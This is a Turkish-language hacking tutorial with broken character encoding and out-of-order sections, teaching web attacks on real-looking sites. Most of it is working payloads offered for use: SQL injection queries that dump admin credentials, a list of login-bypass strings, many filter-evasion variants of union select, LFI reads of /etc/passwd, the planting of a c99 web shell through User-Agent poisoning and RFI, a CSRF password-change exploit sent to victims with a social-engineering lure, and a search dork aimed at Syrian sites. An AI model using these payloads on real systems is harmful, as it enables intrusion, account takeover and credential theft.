wwwsitecomsayfaphpid=1+order+by+100-- YaptıkSayfada gene bir hata soumlz konusu değil
wwwsitecomsayfaphpid=1+order+by+1000-- gene bir hata yokBurada String devreye giriyor
Hemen bakalım wwwsitecomsayfaphpid=1rsquo and lsquoxrsquo=rsquox yaptıkSayfa değişmedi hatavermediBurada sitemizin x=x mi olduğunu sorguladıkBir değişiklik olmadı yani bize olumlu youmlndecevap verdi
wwwsitecomsayfaphpid=1rsquo and lsquoxrsquo=rsquoy dedikBize olumsuz bir yanıt verdiGirdiğimiz lsquo and lsquoxrsquo=rsquoykomutu ile siteye x=y mi diye sordukOlumsuz bir yanıt almıştıkSite bize X Nasıl Y lsquoye eşit olabilir diyefırccedila attı )
Biraz olsa Blind SQL İnjectionrsquoa benziyor bu tuumlr
Hemen kolon sayısını ccedilekelim wwwsitecomsayfaphpid=-1rsquo union select+0123 and lsquoxrsquo=rsquox diyesorgu goumlnderiyoruzFakat burada 0123 dikkatOumlnce 0 dan başlıyoruzteker teker ilerliyoruzSayfayakolon sayıları yansıyana kadar devam ediyoruzEkrana 2 nin yansıdığını farz ederek devam edelim
wwwsitecomsayfaphpid=99999999rsquo and union select+01(selectgroup_concat(table_name)+from+informations_schematables+where+table_schema=database())3and lsquoxrsquo=rsquox
Yansıyan kolon sayısı 2 idiBizde 2 uumlzerinden işleme devam ettikNormal şartlardafrom+information sorgusu satırın sonunda iken burada tuumlm goumlrevi 2 kolona devrettikFakatunutmayalım Parantezler iccedilerisinde
Evet tablolar yansıdıOumlrnek olarak admin tablosunun yansıdığını farz edelim ve devam edelim
wwwsitecomsayfaphpid=99999999rsquo and union select+01(selectgroup_concat(column_name)+from+informations_schemacolumns+where+table_schema=database()+and+table_name=rsquoadminrsquo)3 and lsquoxrsquo=rsquox
Evet admin tablosundaki sutuumlnları yani kolonları yansıttıkKolonlar emailidusernamepasswordolduğunu farz ediyoruz
wwwsitecomsayfaphpid=99999999rsquo and union select+01(selectgroup_concat(usernamepassword)+from+rsquoadminrsquo)3 and lsquoxrsquo=rsquox
Şeklinde Kadı ve Şifreyi ccedilektik
e-) SQL İnjection Login Bypass
SQL İnjection Login Bypass ccedilok basit bir injection tuumlruumlduumlrWeb Sitelerindeki Login Kısımlarındameydana gelen bu accedilık birccedilok web sitesinde mevcutturBir admin panelini hedef alarak saldırıyabaşlayalım
Bu tarz bir login kısmı olduğunu farz edelimBurada Kullanıcı adını ve Şifresini bypass edeceğizPekinasıl
SQL İnjection da login panelleri iccedilin bypass kodları mevcutturBunlardan birkaccedilrsquoını vereyim sizlere
adminrsquomdash
rsquo or 0=0 --
rsquo or rsquo 1=1
rsquo or rsquo 1
rsquo or rsquo
or 0=0 --
or 0=0 --
rsquo or 0=0
or 0=0
or 0=0
rsquo or rsquoxrsquo=rsquox
or x=x
rsquo) or (rsquoxrsquo=rsquox
rsquo or 1=1--
or 1=1--
or 1=1--
rsquo or a=a--
or a=a
rsquo) or (rsquoarsquo=rsquoa
) or (a=a
hi or a=a
hi or 1=1 --
hirsquo or 1=1 --
hirsquo or rsquoarsquo=rsquoa
hirsquo) or (rsquoarsquo=rsquoa
hi)or(a=a
Bu kodlar sayesinde Login kısmını bypass edebilirizBu accedilık ccediloğu web sayfasındamevcutturGenellikle panel yolu adminadminphp olan web sitelerinde goumlzuumlme batmadı değilEvet birbakalım kendimize bir bypass kodu seccediliyoruz
lsquoORrsquo lsquo=rsquo kodunu seccediltimŞimdi gerekli text kısımlarına yazalım
Evet resimde goumlruumllduumlğuuml gibi Kullanıcı adı ve şifre kısmına kodumuzu yazdıkGiriş Yap diyoruz
Goumlruumllduumlğuuml uumlzere giriş başarılı oldu ) Evet Login bypass bu kadar basit bir mevzu
f-) PostData SQL İnjection
Bu injection tuumlruuml ASPNET sitelerde textboxlarda mevcut olan bir accedilıktırDiğer HTMLsitelerde ise ltinput type=rdquotextrdquo lsquolarda mevcut bir accedilık tuumlruumlduumlrCcedilok basittirNormal bir SQL İnjectionaccedilığıda sitede accedilık analizi yapma şeklimiz şuydu wwwsitecomsayfaphpid=1rsquo idiBurada adıuumlstuumlnde POSTDATA yani POST Methotlarının kullanıldığı yerlerde bu injection saldırısınıyapacağızPeki nasıl
Şimdi iki adet text kısmı duumlşuumlnuumln Kullanıcı adı ve Şifreden oluşan
ŞeklindeBurada 2 adet Text mevcutBuraya injection saldırısı yapacağızŞimdi goumlrduumlğuumlmuumlzTextlere Normal İnjectiondaki saldırılar gibi lsquo veya lsquoa karakterlerini ekliyoruz
Evet ekledikten sonra GOumlNDER botunona basıyoruzKarşımıza
Şoumlyle bir SQL İnjection hatası ccedilıkarsa bu login dosyasında SQL İnjection accedilığı mevcutturdiyebilirizŞimdi tekrar login kısmına geri doumlnuumlyoruz ve kaynak kodunu goumlster diyoruz
ltform name=t1 method=POST action=loginaspxgt
Kaynak kodundaki oumlnemli olan yer uumlstteki Method durYani goumlnderilen veri POST MethoduylagoumlnderilmelidirPOST lsquoun diğer Methodlardan farkı ise POSTrsquoun hızlı ve guumlvenilir olmasıdır
Peki bu accedilığı nasıl kullanacağız
Kaynak kodunu alıyoruz bir notepadrsquoa yapıştırıyoruzDaha sonra ltform name=t1 method=POSTaction=loginaspxgt Kodundaki POST Methodunu GET Methoduna ccedileviriyoruzDaha sonra loginaspxdosyasının tam yolunu belirtiyoruzYani
ltform name=rdquot1rdquo method=rdquoGETrdquo actionrdquohttpsitecomloginaspxrdquogt
Kaynak kodlarında bu kısmı bu şekilde duumlzetip html uzantılı kaydediyoruzDaha sonra tekrar birtarayıcıda accedilıyoruz ve textlere lsquoa koyuruzLinkte wwwsitecomloginaspxkadi=rsquoaampsifre=rsquoaampSubmit=GF6nder şeklinde goumlzuumlkecektirwwwsitecomloginaspxkadi=arsquoa şekline SQL İnjection toolarıyla accedilığı kullanabilirsiniz
SQL İnjection saldırısını ve tuumlrlerini iliklerine kadar biliyorsunuz artık )
Şimdi sıra SQL Mod_Security order by union select komutların nasıl bypass edileceğini anlamayageldi
SQL İnjection Bypass
Merhaba arkadaşlar
Bu yazıda sizlere SQL İnjection da takıldığımız bize sorun ccedilıkaran bazı komutların bypass youmlntemlerinianlatmaya ccedilalışacağım Umarım yararlı olur
SQL İnjection lastik gibidir nereye ccedilekerseniz oraya gider Aynı şekilde sql injection bypassyoumlntemlerinde de bu olay boumlyledir
a)
Oumlncelikle sizlere baştan başlarsak order by komutunun nasıl bypass edileceğinden vekarşılaşabileceğimiz sorunlardan bahsedeyim
Order by komutunu sql injection saldırılarında kolon sayısı bulamak amacıyla kullanırız Ama bazenhedef sitede ki guumlvenlik duvarlarına takılır kalırız ve kullanmış olduğumuz komutu ccedilalıştıramaya biliriz
Burada hemen bypass devreye girmektedir Nasıl mı Bir Web Site duumlşuumlnuumln
wwwsayfamcomdosyaphpid=1rsquo yaptığımız vakit bize standart bir sql hatası verecektir
Burada sql accedilığı olduğunu anlarız Hemen order by komutu ile kolon sayısını oumlğrenmeye ccedilalışırız
wwwsayfamcomdosyaphpid=1+order+by+1-- fakat sayfadaki hata hala devam eder burada bypassdevreye girer Normal şartlarda order by 1 komutu ile sayfayı eski haline getirirken bu komutccedilalışmadı
Şimdi bunu nasıl bypass edeceğimizden bahsedelim SQL injection bypasslarin de genellikle specialchars dediğimiz oumlzel karakterler devreye girer Burada ki order by komutunu hep beraber bypassedelim
wwwsayfamcomsayfaphpid=1)+order+by--+ burada ki komutumuz da uumlstteki order by dan farklıolarak 1-2 oumlzel karakter kullandık + ve )
order+by+1mdashsonuna + koyduk
id=1 değerinin başına da ) koyduk
Tekrar sorguyu ccedilalıştırdığımızda sayfa eski haline doumlnecektirAyın şekilde
wwwsayfamcomsayfaphpid=1+order+by+1--
wwwsayfamcomsayfaphpid=1orderby1--
wwwsayfamcomsayfaphpid=1+(order)+(by)+1--
wwwsayfamcomsayfaphpid=1+order+by+1--
wwwsayfamcomsayfaphpid=1+order+by+1-- şeklinde bypassler soumlz konusu olabilir Kısacahepsi aynı goumlrevi goumlruumlyor buradaki bypass sizin hayal guumlcuumlnuumlze kalmıştır
b)
Bu sefer de union select komutunu gerccedilekleşen aksi bir durum da nasıl bypass edeceğimizigoumlstereceğim
Tekrar bir sayfa duumlşuumlnmenizi istiyorum O değilde bir şeyleri duumlşuumlnmenizi isteyince kendimi arefzannetim bir an )) Neyse şamatayı bırakalım işimize bakamlım tekrar bir site duumlşuumlnelim
wwwsayfamcomsayfaphpid=1rsquo koyduk sql hatamızı aldık
wwwsayfamcomsayfaphpid=1+order+by+1-- yaptık eski haline doumlnduuml sayfamız
wwwsayfamcomsayfaphpid=1+order+by+10-- yaptık hata aldık 9 yaptık hata almadık kolonsayımız 9 hellip
Şimdi ekrana kolon sayılarımızı yansıtma işlemine geccedilelim bunun iccedilin union select komutunukullanacağız
wwwsayfamcomsayfaphpid=1+union+select+123456789--
yaptık sayılar sayfaya yansımadı veya forbidden hatası verdi Şimdi ne yapacağız Tekrar aklımızaoumlzel karakterlerimizi getirerek mantığa uygun bir biccedilimde bypass girişimlerini yapalım
Bir bypass da kullanabileceğimiz bazı karakter oluşumları
---+-- -00Şimdi bunları kullanarak biraz oyun oynayalım ne dersiniz ))
İlk olarak
wwwsayfamcomsayfaphpid=1+union+select+123456789--
deneyelim Baktık ki sayfaya tekrar yansımadı Burada pes etmeyeceğiz demiştik sql injection lastikgibidir nereye ccedilekerseniz oraya gider diye Hayal guumlcuumlnuumlze goumlre karakterlerimizi tek tek yazalım vetekrar sorgulatalım bu iş iccedilin sabır gereklidir en sonunda istediğinizi alınca his edeceğiniz o sevinccedilduygusunu tarif edemem ))
wwwsayfamcomsayfaphpid=-1+unIoN+SeLecT+123456789--
wwwsayfamcomsayfaphpid=-1+union+select+123456789--
wwwsayfamcomsayfaphpid=-1+union+select+123456789--
wwwsayfamcomsayfaphpid=-1+(union+select+123456789--)
wwwsayfamcomsayfaphpid=-1unionselect123456789--+
wwwsayfamcomsayfaphpid=-1+union+select+123456789--
wwwsayfamcomsayfaphpid=-1+unionampa=selectampa=123456789-- -
wwwsayfamcomsayfaphpid=1 and (select 1)=(Select 0xAAAAAAAAAAAAAAAAAA 1000 AdetAs)+UnIoN+SeLeCT+123456789--+
wwwsayfamcomsayfaphpid=1+UnioN+SELECT+123456789--
wwwsayfamcomsayfaphpid=1+(UnIoN)+(SelECT)+123456789--
wwwsayfamcomsayfaphpid=1+(UnIoN+SelECT)+123456789--
wwwsayfamcomsayfaphpid=1+(UnI)(oN)+(Sel)(ECT)+123456789--
wwwsayfamcomsayfaphpid=1+UnIon+SeLeCt+123456789--
şeklinde onlarca bypass teknikleri bulunmaktadır ))
c)
Evet arkadaşlar b) yan başlığında goumlrduumlğuumlmuumlz uumlzere union select komutunu bypass ettik ve karşımızakolon sayıları yansımıştır Biz 469 sayılarının yansıdıklarını farz ederek devam edelim
Şimdi sırada group_concat komutunun bypass edilmesinde
Tekrar bir web site hayal ediyoruz bu sefer union select ile sayılar ccedilekilmiş bir şekilde
wwwsayfacomsayfaphpid=-1+union+select+123456789--
ne demiştiş 469 yansımıştı 4 den devam edelim
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--
şeklinde tablo isimlerini ccedilekmeye ccedilalıştık karşımıza forbidden veya farklı bir hata geldi
Group_concat bypass tipleride aynı mantıkla yapılır
group_concat()
grOUp_ConCat(user0x3epass)
group_concat(0x3c62723e)
şeklinde uygulamalar yapacağız
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--
veya
wwwsayfacomsayfaphpid=-1+union+select+123grOUp_ConCat(table_name)56789+from+information_schematables+where+table_schema=database()--
ve
wwwsayfacomsayfaphpid=-1+union+select+123grOUp_ConCat(table_name hexlenmiş şekli)56789+from+information_schematables+where+table_schema=database()--
şeklinde bypasslar soumlz konusudur
d)
Şimdi sıra group_concat ile tablo isimlerini ccedilekecek iken karşımıza ccedilıkan forbidden hatasını aşmayageldi ))
Taktiklerimiz aynıdır tekrar aynı site ile devam edelim
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--
şeklinde yaptık bize tablo isimlerini vermedi
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--
yapıyoruz karşımıza tablo isimleri geliyor )) Mantığını anladığınız iccedilin kısa kesiyorum
e)
Şimdi sıra geldi ccedilektiğimiz tablo isimlerinin iccedilerisindeki suumltuumlnları sorgularken karşımıza gelen hatayınasıl aşabileceğimizden Ccedilektiğimiz tablo isimlerinden birisi admin olsun biz admin tablosununiccedilindeki kolonları yani suumltuumlnları alacağız şoumlyle bir sorgu duumlşuumlnuumln
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(column_name)56789+from+information_schemacolumns+where+table_schema=database()+and+table_name=admin--
buradaki sorguda ne dedik ldquoAdmin tablosunun iccedilerisinde kolonları bize verrdquo
Sorguyu goumlnderiyoruz fakat bize kolonları vermiyor burada hex devreye girecek database() ve adminsorgusunu hexleyerek sorgu yapmayı deneyeceğiz
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(column_name)56789+from+information_schemacolumns+where+table_schema=0x64617461626173652829+and+table_name=0x61646d696e--
Evet bu şekilde goumlnderdiğimiz sorguda kolon isimleri karşımıza geldi ))
Evet sql injection da bypass serisi burada sona eriyor Umarım anlatabilmişimdir sizde kolaylıklaanlamışsınızdır
Siz dediğimi unutmayın SQL İnjection lastik gibidir nereye ccedilekersek oraya gidicek
LFI(Local File İnclude)
1- Local File İnclude Nedir
LFI (Local File İnclude) Yerel dosya ccedilağırmak anlamına gelirBu accedilık şuanda bu o kadar guumlnceldeğildirAma bazı sitelerde nadir olarak goumlruumllebiliyorBen bu accedilıktan bahsetmeyecektim ama WebGuumlvenlik Accedilıkları denildiği zaman tuumlm WEB UYGULAMALARINI KapsıyorBu sebep yuumlzuumlndenbahsedeceğim
2- Local File İnclude Mantığı Nedir
LFI Accedilığının mantığı server uumlzerinde dosyaları okumaktırOumlrnek olarak etcpasswd dosyasındanbahsedeyimServerdaki tuumlm sitelerin USERrsquolarının bulunduğu dosyadırBu accedilık sayesinde Serverdakidosyaları okuma şansımız oluyor
3- Saldırı Anı (Accedilığın Tespiti)
Bir Web Sayfası duumlşuumlnuumln wwwsitecomsayfaphpid=2 şeklinde olsunBurada LFI Olup olmadığınışoumlyle anlayabiliriz
wwwsitecomsayfaphpid= yaptığımızda sayfada eğer bir SQL İnjection hatası veya dosyabulunamadı şeklinde bir hata varsa orada LFI OlabilirPeki Hata olarak nasıl bir hatadan bahsediyoruz
Bize verilen hatadan yola ccedilıkalım
Warning include() ldquohomeuserpublic_htmlsayfaphprdquo
Şeklinde bir hata alıyorsak LFI Vardır diyebiliriz
4- Saldırı Anı 2 (Accedilığın Kullanımı - Aksi Halde Bypass)
Ne demiştikSitemizde Warning include() ldquohomeuserpublic_htmlsayfaphprdquo şeklinde hata aldık
Accedilığı etcpasswd şeklinde etcpassword dosyasını okuyarak anlayabilirizFakat burada dizinsayısı oumlnemlidirHatada kaccedil adet dizin var bakalım
home -gt 1
user -gt 2
public_html -gt 3
sayfaphp -gt 4
Evet 4 Adet dizin mevcutturKoyacağımız işareti 4 adet olmalıdır
wwwsitecomsayfaphpid= etcpasswd şeklinde
-HTML Code
HTML kod ccedileviriciler mevcuttur internet uumlzerindeEncode edeceğimiz komut
Komut etcpasswd
Encode 2F2F2F2Fetc2Fpasswd
Tekrar deneyelim
wwwsitecomsayfaphpid=2F2F2F2Fetc2Fpasswd ve okumak istediğimizetcpasswd dosyasını okuduk
- CharCode
CharCode Mozillanın Hackbar Eklentisinde MevcutturŞimdi tekrardan bir bakalım
wwwsitecomsayfaphpid=etcpasswd şekline okumak istediğimizde tekrar okumuyorHTMLcode encode şeklinde yaptık gene başarısızŞimdi CharCode şeklinde yapacağız
Komut etcpasswd
CharCode StringfromCharCode(46 46 47 46 46 47 46 46 47 46 46 47 101 116 99 47 11297 115 115 119 100)
Evet doumlnuumlştuumlrduumlkŞimdi tekrar bakalım
wwwsitecomsayfaphpid=StringfromCharCode(46 46 47 46 46 47 46 46 47 46 46 47 101116 99 47 112 97 115 115 119 100)
Şeklinde okudukDosyamız başarılı bir şekilde okundu )
5- Saldırı Anı 3 (Accedilığı Kullanarak Siteye Dosya Yedirmek)
Accedilığın tespitinden bahsettikŞimdi bu accedilığı kullanarak dosya dahil edeceğizOumlnce mozillanın tamperdata eklentisini kurunDaha Tamper Data yı accedilınStartrsquoa tıklayın vewwwsitecomsayfaphpid=etcpasswd00 şeklinde sayfayı yenileyinOumlnuumlnuumlze gelen ilkuyarıya ldquoTAMPERrdquo Şeklinde cevap verinKarşınıza
Şeklinde bir panel gelecekUser-Agent Kısmındaki yazıları silin ve lt system(ldquocatwwwsitecomc99txt -O c99php ldquo) gt şeklinde Dosya adresinizi yazınYanlız dikkat edin yuumlklerkendosyayı txt uzantılı olmasına dikkat edinYazdıktan sonra tamam diyoruzVe dosyamız dahil edilmişoluyor
wwwsitecomc99php şeklinde ccedilagırabilirsiniz
6- Local File İnclude Nerelerde Tespit Edilebilir
a-) Search kutusu
Bir Search kutusu duumlşuumlnuumln
Buraya LFI Komutunu girip ara butonuna tıklayalım etcpasswd00 şeklinde
Eğer ekrana
Şeklinde komutumuz ccedilalışırsa bu demek oluyor ki Search dosyasında LFI Accedilığı mevcuttur
RFI(Remote File İnclude)1- Remote File İnclude Nedir
RFI(Remote File İnclude) Uzakdan dahil etmek anlamına gelirEskisi kadar olmasa da şuanda mevcutolan siteler var
2- Remote File İnclude Mantığı Nedir
Mantığı accedilık bulduğumuz siteye istediğimiz sitedeki bir dosyayı dahil etmektir
3- Saldırı Anı (Accedilığın Tespiti - Accedilığın Kullanımı - Aksi Halde Bypass)
Bir web sitesi duumlşuumlnuumln wwwsitecomdosyaphpid=2 olsunİd= değerinden sonraki 2 yi siliyoruz
wwwsitecomdosyaphpid= oluyorŞimdi burada accedilık olup olmaığını nasıl anlarız
Bir hostrsquoa dosyanızı txt uzantılı olarak atınDaha sonra sitede wwwsitecomdosyaphpid=httpwwwsitemcomc99txt şeklinde ccedilağırınEğer sayfada ccedilağırdığınızdosya ccedilalıştıysa accedilığı hem bulmuş hemde hazır hale getirmiş oluyorsunuz zaten
4- Remote File İnclude Nerelerde Tespit Edilebilir
a-Search kutusu
Bir Search (Arama) duumlşuumlnuumln
ŞeklindeBuraya httpsitecomc99txt şeklinde dosyanızın adresini txt uzantılı yazıp ara butonunatıkladığınızda eğer karşınıza dosya geliyorsa yani ccedilağırdığınız dosya burada RFI Accedilığı mevcutturBukadar basittir
CSRFXSRF (Cross-Site RequestForgery)
1-Oumlnsoumlz
XSRF CSRF Guumlvenlik zaafiyetleri guumlnuumlmuumlzde bir ccedilok yerde mevcutturCcedilok geniş kapsamlı bir accedilıkolmakla birlikte kullanımı da ccedilok kolaydır aslındaAma ccediloğu kimse karmaşık goumlruumlp hemen ipin ucunubırakmışlardırCcedilok yanlış ccediluumlnki bu yolda devam ederken tuumlm Web Application tuumlrlerini oumlğrenmek bizimyararımıza olurTabi misyon dahilinde
XSRF CSRF Accedilıkları aslında aynıdırYani XSRF ve CSRF diye ayrılması kafamızı karıştırmasın
2- Cross Site Request Forgery Nedir
Attacker bir web sitesinin kaynak koduna goumlmuumlluuml olan Javascript veya HTML Kodlarını uygun birexploit haline getirip kurbanın haberi olmadan session (oturum) bilgilerini elde etmesiyle olurBu accedilığısadece kurbanın şifrelerini almak diye bakmayalım ccediluumlnkuuml bu zaafiyet para transferi kredi kartıhırsızlıkları ve birccedilok koumltuuml emellere alet edilip milletin emeğini ccedilalabiliyorBurada yapılan tek şeykurbana goumlnderdiğimiz linke tıklamasıdır Kurban bunu yaparken olaylardan habersizdirTereyağındankıl ccedileker gibi bilgileri alır attacker
3- Cross-Site Request Forgery Nerelerde Kullanılır Ne İccedilin Kullanılır
Bu zaafiyet buumltuumln web applicationlarda bulunabilirYani ASPPHPHTML Sitelerde dahil olmak uumlzere
Yukarıda bahsettiğim gibi session bilgilerini ccedilalmak kredi kartı bilgilerini ccedilalmak ve bir ccedilok koumltuuml ameliccedilin kullanılır
4 Nasıl Kullanılır - Exploitlenir
Zaafiyeti exploitleme basittirHemen bir oumlrnekle devam edeyim
Bir Web sayfası hayal edinBu Web Sayfasında session şifrelerini değiştirme dosyası olsunwwwsitecomforumpasswordegistirphp şeklindeBu bir forum sitesi olarak duumlşuumlnuumlnSiz foruma girişyaptınız ve şifrenizi değiştirmek istiyorsunuzŞifrenizi değiştirdiğiniz vakit
wwwsitecomforumpassworddegistirphpyenipassword=mahserat
Burada sizin şifreniz mahserat olarak değiştirilmiştirYani linkte goumlreceğiniz gibi burada bir XSRFCSRFzaafiyeti mevcutturHemen degistirdiğniz şifre linkinin kaynak koduna goumlz atalımKaynak kodundanltformgtltformgt taglarını arayalım
Burada goumlrduumlğuumlnuumlz gibi bilgiler GET methoduyla alınmışGETPOST Methodu tercih edileceği yerde
Daha sonra kullanıcıdan alınan veri passworddegistirphp dosyası aracılığıyla değiştirilir
Şimdi biz bunu exloitleyelim yani kullanılır hale getirelim şimdi kaynak kodlarını tekrar alıyoruz birnotepad iccedilerisine yapıştırıyoruzDaha sonra action=rdquopassworddegistirphprdquo dosyasının tam linkinibelirliyoruzYani action=rdquohttpsitecomforumpassworddegistirphprdquo şeklindeDaha sonraname=rdquosifrerdquo kısmına şifremizi yazıyoruz name=rdquo12345rdquo şeklindeDeğiştirdikten sonra kodlara tekrargoumlz atalım
Evet tamamdırŞimdi bunu html uzantılı kaydediyoruz ve hostumuza atıyoruzSonrasında linki kurbanagoumlndereceğizBurada devreye SM (Sosyal muumlhendislik) giriyorSosyal muumlhendislik bilginizin birazolması gerekirMesela şoumlyle yedirebiliriz kurbana
NOT Kurbanın hoşlandığı tarz yolundan gidersiniz daha iyi sonuccedil alırsınızOumlrnek olarakkurbanımız Play Station oynamayı seven biri biz kurbana bu linki Play Station uygulaması veyaoyunu şeklinde yedirebilirizOumlrnek
Merhaba kardeşim
Bir Play Station uygulaması geliştirdimBir goumlz gezdirirmisin nasıl olmuş
Uygulama httpmehmetkelepceorgdosyahtml
Gibisinden bir SM Youmlntemi ile yedirebilirsinizBurada dosyahtml bizim exploitlediğimiz uygun halegetirdiğimiz kodlardırTıkladığı anda kurbanın şifresi 12345 olarak değişecek
5- XSS ve CSRF Arasındaki Benzerlikler
CSRF Saldırısı XSS Saldırısında iccediline alan bir saldırı tipidirYani XSSrsquoin olduğu yerde CSRF accedilığınınolması 80 gibi bir orandır
Evet saygı değer canlarBu uzun seruumlvenimiz burada sona erdi ) Web Guumlvenlik Accedilıkları harikulade birboumlluumlmalanrsquodırDaha da ilerlemeniz ilminizi ve bilginizi daha da yukarılara ccedilıkarmanız dileğiyle
İlk kutuyu tablo olarak İkinci kutumuzu tablo iccedilerisindeki kolon olarak Uumlccediluumlncuuml kutumuzun iccedilerisindekihediyeyi de hedef veri olarak goumlrebilirizYani iccedil iccedile geccedilmiş bir yapı olarak hayal edebiliriz
3- Temel SQL Komutlarını Tanıyalım
SQL İnjection saldırısında bulunurken ne kadar SQL Komutunu tanıyorsanız o kadar iyidirCcediluumlnkuumlSQL İnjection saldırısını yaparken SQL Komutlarını kullanırız
SELECT - Veri seccedilmek iccedilin
CREATE - Tablo yaratmak iccedilin
INSERT - Tablo eklemesi yapmak iccedilin
UPDATE - Veri guumlncelleme
DELETE - Veri silmek
DROP - Tablo silmek
FROM - (- den - dan beri )
WHERE - Nereden neresi nerede
Kısacak bu komutlarla SQL İnjection saldırısını geccedilekleştireceğizBunları bilmekte fayda var
4- SQL İnjection ile Neler Yapılabilir
SQL İnjection saldırısı ile veri silebilir ekleyebilir değiştirebilirizBunları yapmak iccedilin sistemde birkaccediliznimizin olması gerekiyorYani sistem bize veri silme ekleme yetkisi vermiyorsa biz zaten bunlarıyapamayızSQL İnjection saldırısı ccediloğunlukla hedef sistemin youmlnetici şifresini ele geccedilirerek sistemeyoumlnetici gibi giriş yapıp sistemi hacklemek iccedilin kullanılırAma ne yazık ki SQL İnjection saldırısı ileyapabileceklerimizin sadece bunlarla sınırlı olmadığını uumllkemizdeki ccediloğu kimse bilmiyorGeccedilenlerde biryerde okumuştum onu da sizlerle paylaşayımYabancı uumllkede bir Hacker buumlyuumlk bir sisteminde SQLİnjection accedilığı bulmuşDaha sonra veritabanın da ki tuumlm kredi kartı bilgilerini ccedilalmışToplam olarak kaccedilkredi kartı ccedilaldığını bilmiyorum ama ccedilok yuumlkluuml miktarda mevla kaldırmışAma biz tabii ki Dinimizingereğince haram para ve kazanccedilta goumlzuumlmuumlz yokHaram olan bir kazancın bize yararıdokunmayacağını biliriz
5- SQL İnjection Accedilığı Nerelerde Bulunabilir Belirli Bir Dorkrsquou Varmıdır
SQL İnjection ccedilok geniş kapsamlı ve ccedilok tehlikeli bir accedilıktırTuumlm sistemlerde rastlanabilen bir accedilıktır
SQL İnjection saldırılarının id= değerlerinin bulunduğu sitelerde Search (Arama) kutucuklarındaformlarda vs yerlerde bulunabilirYani veri alışverişinin yapıldığı her yerde bulunabilirSize başlangıccediliccedilin bir Dork vereceğimDorkrsquou Googlersquoda arattığınızda karşınıza bir suumlruuml site gelecekBu sitelerde iddeğerinin bulunduğu yerlerde SQL İnjection accedilığı araması yapabilirsiniz
Dork inurlrdquophpid=rdquo sitesy -gt bu dorkta şunu dedik(Suriye) Sy sitelerinde phpid= değerininbulunduğu siteleri goumlsterSQL İnjection saldırısına aşağıda değineceğiz
6- Ccedileşitli Yerlerde SQL İnjection Saldırısı Yapmak
Yukarıda da bahsettiğim gibi SQL İnjection saldırısını birccedilok yerde yapabilirizŞimdi bu accedilığı iyice birtanıyalım
a-) SQL İnjection Accedilığı Nasıl Tespit Edilir (Tipik SQL İnjection Hatası)
Bir Web Site duumlşuumlnuumln wwwsitemcomsayfaphpid=1 şeklinde
Burada SQL Accedilığının olup olmadığını id= değerinin sol tarafındaki değerin sonuna veya değerinbaşına lsquo veya lsquoa koyarak anlayabilirizYani linkimizin son şekli
wwwsitemcomsayfaphpid=1rsquo veya wwwsitemcomsayfaphpid=1rsquoa şeklinde oluyor
Eee tamam ben aynı şekilde yaptım accedilık olduğunu nasıl anlayacağım
SQL Accedilıklarını Tipik olarak bize verdiği hatadan anlarızYani hatalar SQL İnjection ccedileşitlerine goumlredeğişkenlik goumlsterebiliyorBiz şuanda normal bir SQL Accedilığının nasıl bulanacağına yoğunlaşalım
Oumlrnek bir SQL İnjection hatası
Evet lsquo koyduktan sonra bu hatayı alıyorsak burada SQL İnjection accedilığı olduğunu kavrıyoruz
b-) Search Kutularında SQL İnject Accedilığı Aramak
Search Arama kelimesinin ingilizce kavramıdırŞimdi sitelerdeki Search kutularında SQL Accedilığıarayacağız
Search kutucuğu goumlrduumlğuumlnuumlz yerlere lsquo - lsquoa gibi işaretleri yapıp ara butonuna tıklıyoruzEğer ekrandatekrardan bir SQL İnjection hatası alıyorsanız Search dosyasında accedilık olduğunu anlıyoruz
c-) Kayıt Formlarında SQL İnject Accedilığı Aramak
Kayıt formlarının siteler iccedilin ccedilok tehlike arz eden kısımlar olduğundan bahsetmiştikYukarıda daXSS accedilığının nasıl aranacağında goumlrmuumlştuumlkHemen SQL Accedilığının nasıl aranacağına bakıyoruz
Evet goumlruumllduumlğuuml uumlzere tuumlm textrsquolere lsquoa yazılmışDaha sonra Goumlnder Butonu veya kayıt ol butonu varsatıkladığımızda bizim karşımıza tekrar SQL Hatası geliyorsa kayıt dosyasında accedilık olduğunu anlarız
d-) İD Değerinin Bulunduğu Sitelerde SQL İnject Accedilığı Aramak
Şimdi İD değerinin bulunduğu yerlerde SQL Accedilığı aramayı goumlreceğizİD değeri değişkenlikgoumlsterebilirSiteyi kodlayan Coder kardeşimiz Veri alışverişinde İD değeri yerine cat= s= i= q= vsdeğerler koyabilirYani bu Coder kardeşimizin elinde olan bişeydirBiraz farklılık accedilısından ben şuan İDdeğeri yerine cat= değerini kullanarak SQL Accedilığı arayacağım
Evet goumlruumllduumlğuuml uumlzere cat= ile alınmış bir veriVeri numarası 9 muş
Goumlrduumlğuuml gibi değerde bir accedilık soumlz konusu
e-) Ziyaretccedili Defterinde SQL İnjection Accedilığı Aramak
Ziyaretccedili Defterleri Hackerlar iccedilin bir nimet sayılabilir(Guumlvenliğin sağlanmaması durumunda)
Şimdi bir ziyaretccedili defterinde SQL Accedilığı arayalımZiyaretccedili Defterinin tuumlm text kutularına lsquo veya lsquoaişaretlerinden birini koyuyoruz
ŞeklindeGoumlnder butonuna bastığınızda eğer bir SQL Hatasıyla karşılaştıysanız burada bir SQLAccedilığının olduğunu anlarsınız
7-Saldırı Anı(SQL Accedilığının Tespiti)
Bir Web Sayfası duumlşuumlnuumln
wwwsayfamcomdosyaphpid=2 olsunBurada accedilık tespiti yapalım hemen
wwwsayfamcomdosyaphpid=2rsquo Koyduk hata aldıkYani bir SQL Accedilığı soumlz konusuŞimdi SQLAccedilığını aldık ama ne yapacağımızı bilmiyoruz Yapacağımız işlem ccedilok basit
8-Saldırı Anı2(Kolon Sayısı Oumlğrenmek Kolon Sayısı Nedir Neye Yarar)
Evet accedilık tespitini yaptıkŞimdi kolon sayısını bulacağızAma oumlncesinde Kolon sayısı nedir neye yararbir goumlz atalım
